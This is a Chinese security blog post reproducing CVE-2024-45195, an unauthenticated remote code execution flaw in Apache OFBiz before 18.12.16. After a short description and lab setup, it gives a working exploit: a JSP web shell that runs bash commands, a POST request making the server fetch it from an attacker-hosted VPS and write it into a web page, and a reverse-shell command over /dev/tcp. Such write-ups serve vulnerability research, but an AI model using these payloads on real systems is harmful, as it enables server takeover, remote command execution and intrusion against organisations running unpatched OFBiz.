文章来源:沃克学安全
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
一、漏洞描述
Apache OFBiz < 18.12.16版本中未经身份认证的远程攻击者可通过控制请求从而写入恶意文件获取服务器权限,造成远程代码执行
二、漏洞原理
该漏洞本质上还是ofbiz的路由与鉴权问题,是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器与视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。
漏洞细节已在互联网公开,详情请看:
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
三、漏洞复现
1.环境搭建
下载OFBiz 18.12.15版本:
wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.15.zip
安装(需要JDK8+):
unzip apache-ofbiz-18.12.15.zip
cd apache-ofbiz-18.12.15
./gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadAll //需要等一段时间,我等了十多分钟
./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=admin
vim framework/security/config/security.properties //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6
./gradlew ofbiz
然后访问https://yourip:8443/accounting即可
2.漏洞复现
该漏洞利用需要目标机器能够出网,尚未可知有没有不出网的玩法
在攻击机器开一个web服务,服务下放置两个文件:
rceschema.xml:
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="607" position="0"></field>
</record>
</data-file>
</data-files>
rcereport.csv:
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Hello!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/bash"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
然后发送如下请求包:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: yourip:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded
DATAFILE_LOCATION=http://vpsip:port/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://vpsip:port/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
可以看到目标机器向我们的攻击机器发起请求:
访问/accounting/index.jsp?cmd=whoami
反弹shell:
/accounting/index.jsp?cmd=bash+-i+>%26+%2Fdev%2Ftcp%2Fip%2Fport+0>%261
参考:
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
原文始发于微信公众号(渗透Xiao白帽):CVE-2024-45195 RCE漏洞(附EXP)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论